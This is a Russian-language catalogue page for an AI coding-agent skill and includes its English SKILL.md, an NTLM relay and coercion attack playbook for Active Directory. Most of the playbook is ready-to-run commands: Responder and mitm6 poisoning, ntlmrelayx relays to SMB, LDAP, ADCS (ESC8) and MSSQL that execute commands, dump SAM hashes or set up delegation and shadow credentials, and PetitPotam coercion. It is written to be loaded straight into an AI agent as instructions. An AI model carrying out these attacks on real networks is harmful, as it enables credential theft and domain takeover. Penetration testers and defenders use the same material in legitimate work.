К основному содержанию
скилл CX Codex

ntlm-relay-coercion — скилл для Claude Code: NTLM-релей и коэрсинг

Плейбук по перехвату и релею NTLM-аутентификации: SMB, LDAP, HTTP, MSSQL, плюс PetitPotam, PrinterBug и другие методы коэрсинга.

Установить в Claude Code · Через Skills CLI (Vercel) Все способы и платформы ↓
npx skills add yaklang/hack-skills --skill ntlm-relay-coercion -a claude-code
Открыть на GitHub

Что делает ntlm-relay-coercion

Скилл описывает, как захватить NTLM-аутентификацию и переслать её на другой хост, чтобы получить сессию. Внутри — схема релея от жертвы через атакующего к цели, сравнение NTLMv1 и NTLMv2, таблица целей с пометками о подписи и channel binding.

Отдельные разделы посвящены Responder для отравления LLMNR, NBT-NS, WPAD и mDNS, утилите ntlmrelayx для релея на SMB, LDAP, ADCS и MSSQL, а также mitm6 для перехвата IPv6-конфигурации. Есть кросс-протокольный релей SMB → LDAP и WebDAV → LDAP. Для проверки целей приводится crackmapexec smb TARGET_IP --gen-relay-list relay_targets.txt и nmap -p 445 --script smb2-security-mode TARGET_RANGE.

Главное ограничение — подпись. Релей на SMB к контроллерам домена по умолчанию не пройдёт: там SMB signing включён. LDAPS требует channel binding, а WebDAV-коэрсинг сработает только если на рабочей станции запущена служба WebClient. Это повод сначала проверить конфигурацию цели, а не запускать релей вслепую.

Какие задачи решает

  • перехватить NTLM-хэши через отравление LLMNR и NBT-NS
  • переслать аутентификацию на LDAP и изменить ACL
  • выполнить команду на хосте через релей на SMB
  • получить сертификат контроллера домена через ESC8
  • вызвать аутентификацию жертвы методами коэрсинга

Примеры запросов агенту

  • Проверь, на каких хостах в подсети не требуется SMB signing, и собери список целей для релея
  • Опиши, как связать PetitPotam с ntlmrelayx для релея на LDAP
  • Как настроить WebDAV-коэрсинг, если на рабочей станции запущен WebClient?

Как установить ntlm-relay-coercion

1Через Skills CLI (Vercel)

npx skills add yaklang/hack-skills --skill ntlm-relay-coercion -a claude-code

2Вручную: положить файлы

~/.claude/skills/ntlm-relay-coercion/SKILL.md

Папка скилла целиком; для одного проекта — .claude/skills/ntlm-relay-coercion/

По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов

Вопросы о ntlm-relay-coercion

Как установить ntlm-relay-coercion в Claude?

Выполните npx skills add yaklang/hack-skills --skill ntlm-relay-coercion -a claude-code. Скилл появится по пути ~/.claude/skills/ntlm-relay-coercion/SKILL.md.

Что делает ntlm-relay-coercion?

Это плейбук по релею NTLM-аутентификации на SMB, LDAP, HTTP и MSSQL и по методам коэрсинга вроде PetitPotam и PrinterBug. Он объясняет требования к подписи и channel binding, из-за которых часть релеев не проходит.

Почему релей на SMB к контроллеру домена не работает?

На контроллерах домена SMB signing включён по умолчанию, поэтому релей туда не пройдёт. Для LDAP подпись по умолчанию не требуется, но LDAPS использует channel binding.

Исходный текст

SKILL.md · MIT
---
name: ntlm-relay-coercion
description: >-
  NTLM relay and authentication coercion playbook. Use when capturing and relaying NTLM authentication to escalate privileges via SMB, LDAP, HTTP, or MSSQL relay targets, combined with PetitPotam, PrinterBug, and other coercion methods.
---

# SKILL: NTLM Relay and Authentication Coercion — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert NTLM relay and coercion techniques. Covers relay to SMB/LDAP/HTTP/MSSQL, signing requirements, Responder poisoning, mitm6, cross-protocol relay, WebDAV coercion, and all major coercion methods. Base models miss signing/EPA requirements and cross-protocol relay constraints.

## 0. RELATED ROUTING

Before going deep, consider loading:

- [active-directory-certificate-services](../active-directory-certificate-services/SKILL.md) for ESC8 (relay to ADCS enrollment)
- [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for ACL modification via LDAP relay (RBCD, shadow creds)
- [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) for Kerberos attacks after relay success
- [windows-lateral-movement](../windows-lateral-movement/SKILL.md) for post-relay lateral movement

### Advanced Reference

Also load [COERCION_METHODS.md](./COERCION_METHODS.md) when you need:
- Detailed coercion method comparison (PetitPotam, PrinterBug, DFSCoerce, etc.)
- RPC function-level details and prerequisites
- Coercer tool usage and discovery

---

## 1. NTLM RELAY FUNDAMENTALS

```
Victim          Attacker (relay)         Target
  │                 │                      │
  │── NTLM Auth ──→│                      │  (1) Victim authenticates (coerced/poisoned)
  │                 │── Forward Auth ─────→│  (2) Attacker relays to target
  │                 │←─ Challenge ──────── │  (3) Target sends challenge
  │←─ Challenge ────│                      │  (4) Attacker forwards challenge to victim
  │── Response ────→│                      │  (5) Victim computes response
  │                 │── Forward Response ─→│  (6) Attacker relays response to target
  │                 │←─ Authenticated! ────│  (7) Target accepts → attacker has session
```

### NTLMv1 vs NTLMv2

| Feature | NTLMv1 | NTLMv2 |
|---|---|---|
| Security | Weak (crackable to NTLM hash) | Stronger (but still relayable) |
| Relay | Yes | Yes |
| Crack to hash | Yes (rainbow tables, crack.sh) | Offline brute-force only |
| Downgrade | Force via Responder `--lm` | Default in modern Windows |

---

## 2. RELAY TARGET MATRIX

| Target Protocol | What You Get | Signing Required by Default? | EPA/Channel Binding? |
|---|---|---|---|
| **SMB** | Command exec (if admin), file access | **DCs: Yes**, Workstations: No | No |
| **LDAP** | ACL modification, RBCD, shadow creds, add computer | **DCs: No** (negotiated) | No (unless configured) |
| **LDAPS** | Same as LDAP but encrypted | N/A | **Yes** (channel binding) |
| **HTTP (ADCS)** | Certificate enrollment (ESC8) | No | Depends on config |
| **MSSQL** | SQL queries, xp_cmdshell | No | No |
| **IMAP/SMTP** | Email access | No | No |
| **RPC** | Various (CA enrollment for ESC11) | Depends | No |

### Signing Check

```bash
# Check SMB signing on target
crackmapexec smb TARGET_IP --gen-relay-list relay_targets.txt
# Outputs hosts WITHOUT required SMB signing

# Nmap SMB signing check
nmap -p 445 --script smb2-security-mode TARGET_RANGE
```

---

## 3. RESPONDER — CREDENTIAL CAPTURE

### LLMNR/NBT-NS/WPAD/mDNS Poisoning

```bash
# Start Responder (capture mode — don't relay, just capture hashes)
responder -I eth0 -dwP

# Analyze mode (passive, no poisoning)
responder -I eth0 -A

# Key protocols poisoned:
# LLMNR (UDP 5355) — Link-Local Multicast Name Resolution
# NBT-NS (UDP 137)  — NetBIOS Name Service
# WPAD              — Web Proxy Auto-Discovery (proxy config)
# mDNS (UDP 5353)   — Multicast DNS
```

### Responder + Relay (Don't Capture, Relay Instead)

```bash
# Disable HTTP and SMB servers in Responder (ntlmrelayx will handle them)
# Edit /etc/responder/Responder.conf: set HTTP and SMB to Off

# Start Responder for poisoning only
responder -I eth0 -dwP

# Start ntlmrelayx for relay
ntlmrelayx.py -tf targets.txt -smb2support
```

---

## 4. NTLMRELAYX — RELAY EXECUTION

### Relay to SMB (Admin Execution)

```bash
# Execute command on targets (requires admin privs on target)
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"

# Dump SAM hashes
ntlmrelayx.py -tf targets.txt -smb2support

# Interactive SOCKS proxy (maintain sessions)
ntlmrelayx.py -tf targets.txt -smb2support -socks
# Then: proxychains smbclient //TARGET/C$ -U DOMAIN/user
```

### Relay to LDAP (ACL Modification)

```bash
# Automatic RBCD (delegate-access)
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support

# Escalate via shadow credentials
ntlmrelayx.py -t ldap://DC_IP --shadow-credentials -smb2support

# Add computer account
ntlmrelayx.py -t ldap://DC_IP --add-computer FAKE01 P@ss123 -smb2support

# Dump domain info
ntlmrelayx.py -t ldap://DC_IP -smb2support --dump-domain
```

### Relay to ADCS HTTP (ESC8)

```bash
ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support \
  --adcs --template DomainController

# Use with coercion to relay DC auth → get DC certificate
```

### Relay to MSSQL

```bash
ntlmrelayx.py -t mssql://SQL_HOST -smb2support -q "SELECT system_user; EXEC xp_cmdshell 'whoami'"
```

---

## 5. MITM6 — IPv6 DNS TAKEOVER

```bash
# mitm6 exploits IPv6 auto-configuration to become DNS server
mitm6 -d domain.com

# Combined with ntlmrelayx
ntlmrelayx.py -6 -t ldap://DC_IP -wh fake-wpad.domain.com --delegate-access -smb2support

# Flow:
# 1. mitm6 sends DHCPv6 replies → victim gets attacker as IPv6 DNS
# 2. Victim queries WPAD → attacker responds
# 3. NTLM auth triggered → relayed to LDAP
# 4. RBCD or shadow credentials set on victim computer
```

---

## 6. CROSS-PROTOCOL RELAY

### SMB → LDAP

Capture SMB authentication, relay to LDAP (requires no LDAP signing enforcement).

```bash
# Coerce SMB auth from DC, relay to LDAP on same or different DC
ntlmrelayx.py -t ldap://DC02_IP --delegate-access -smb2support

# Trigger coercion (attacker receives SMB auth)
PetitPotam.py ATTACKER_IP DC01_IP
```

**Limitation**: SMB → LDAP relay fails if the source uses SMB signing negotiation that indicates relay.

### WebDAV → LDAP

WebDAV from workstations sends NTLM over HTTP → relay to LDAP (no signing issues).

```bash
# WebDAV coercion sends HTTP-based NTLM (no SMB signing concern)
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support

# Coerce via WebDAV (workstation must have WebClient service running)
# Use @ATTACKER_PORT format to force WebDAV
PetitPotam.py ATTACKER@80/test WORKSTATION_IP
```

---

## 7. WEBDAV-BASED COERCION

WebClient service (WebDAV) converts SMB-type coercion to HTTP-based NTLM.

```bash
# Check if WebClient is running (port 80 listener or service query)
crackmapexec smb TARGET -u user -p pass -M webdav

# Start WebDAV coercion (from workstation, not server)
# Force target to authenticate via HTTP:
# Use UNC path format: \\ATTACKER@PORT\share
```

**Key advantage**: HTTP-based NTLM avoids SMB signing requirements.

---

## 8. NTLM RELAY DECISION TREE

```
Want to relay NTLM authentication
│
├── What auth can you capture?
│   ├── Responder poisoning (passive, wait for queries)
│   ├── mitm6 (DHCPv6 DNS takeover, periodic)
│   └── Active coercion → load COERCION_METHODS.md
│
├── What target to relay to?
│   │
│   ├── Need code execution?
│   │   ├── SMB target without signing → ntlmrelayx to SMB (§4)
│   │   └── MSSQL target → ntlmrelayx to MSSQL + xp_cmdshell (§4)
│   │
│   ├── Need domain escalation?
│   │   ├── LDAP signing not enforced?
│   │   │   ├── Relay to LDAP → RBCD (§4)
│   │   │   ├── Relay to LDAP → shadow credentials (§4)
│   │   │   └── Relay to LDAP → add computer + delegate (§4)
│   │   └── LDAP signing enforced?
│   │       └── Relay to ADCS HTTP (ESC8) → certificate (§4)
│   │
│   └── Need certificate?
│       └── Relay to ADCS HTTP/RPC → ESC8/ESC11 (§4)
│
├── Source is SMB-based?
│   ├── Target is SMB → check signing (§2)
│   ├── Target is LDAP → may work (cross-protocol, §6)
│   └── Target is HTTP → works (cross-protocol)
│
├── Source is HTTP-based (WebDAV)?
│   └── Relay to any target (no signing issues, §6/§7)
│
└── Relay fails?
    ├── Check signing requirements (§2)
    ├── Check EPA/channel binding
    ├── Try cross-protocol (SMB → LDAP)
    └── Try WebDAV coercion (avoids SMB signing)
```

© yaklang · MIT · yaklang/hack-skills

Похожие скиллы

Всё по теме «Безопасность» →
analyzing-active-directory-acl-abuse mahipal Читает DACL объектов Active Directory через ldap3, разбирает их в SDDL и показывает ACE, где GenericAll, WriteDACL или WriteOwner достались не админам. CX Codex +1 548установок network-101 zebbern Скилл помогает агенту поднять и протестировать HTTP, HTTPS, SNMP и SMB в учебной лаборатории: от настройки сервисов до разбора логов. CX Codex +1 ★ 4 676звёзд репо supabase-pentest yoanbernabeu Ведёт аудит безопасности приложения на Supabase по фазам: находит утечки ключей, проверяет доступ и складывает доказательства в файлы. CX Codex +1 698установок supabase-help yoanbernabeu Показывает все 24 скилла аудита безопасности Supabase с командами и примерами. Пригодится, когда нужно вспомнить, какой скилл за что отвечает. CX Codex +1 503установок recon briiirussell Скилл для структурированной разведки авторизованной цели: пассивный сбор, сканирование портов и итоговая карта поверхности атаки. CX Codex +1 405установок fix-security-vulnerabilities-with-strix usestrix Скилл разбирает подтверждённые Strix-уязвимости, исправляет их причину и повторно запускает проверку. Подойдёт после CLI- или cloud-сканирования. CX Codex +1 15 700установок

Из того же набора93

cmdi-command-injection Скилл помогает искать внедрение команд там, где пользовательский ввод попадает в shell, запуск процессов, конвертеры или импорт. CX Codex +1 3 700установок anti-debugging-techniques Справочник по анализу и обходу антиотладочных проверок в бинарниках под Linux и Windows. Помогает нейтрализовать ptrace, флаги PEB, тайминги и скрытие потоков при реверс-инжиниринге. CX Codex +1 3 700установок macos-process-injection Справочник по техникам внедрения кода в процессы macOS: от подмены dylib и DYLD-переменных до атак на XPC. Помогает проверять бинарники на уязвимости при аудите безопасности. CX Codex +1 3 500установок nosql-injection Скилл помогает находить NoSQL-инъекции в MongoDB, CouchDB и Redis. Пригодится для проверки API, фильтров и логики аутентификации. CX Codex +1 3 500установок macos-security-bypass Плейбук по обходу TCC, Gatekeeper, SIP и песочницы на macOS. Пригодится на авторизованных пентестах и red team. CX Codex +1 3 500установок symmetric-cipher-attacks Плейбук по атакам на симметричное шифрование: padding oracle в CBC, ECB cut-and-paste, переиспользование ключа потока. Для CTF и легального пентеста. CX Codex +1 3 500установок windows-lateral-movement Плейбук по перемещению между Windows-хостами: PsExec, WMI, WinRM, DCOM, RDP, pass-the-hash и pass-the-ticket. Пригодится на этапе пентеста, когда доступ к одной машине уже есть. CX Codex +1 3 500установок rsa-attack-techniques Подбирает методы криптоанализа RSA при слабых ключах или малых экспонентах. Пригодится на CTF и при аудите криптографии. CX Codex +1 3 500установок

Спонсоры проекта

Компании, которые помогают держать аналитику открытой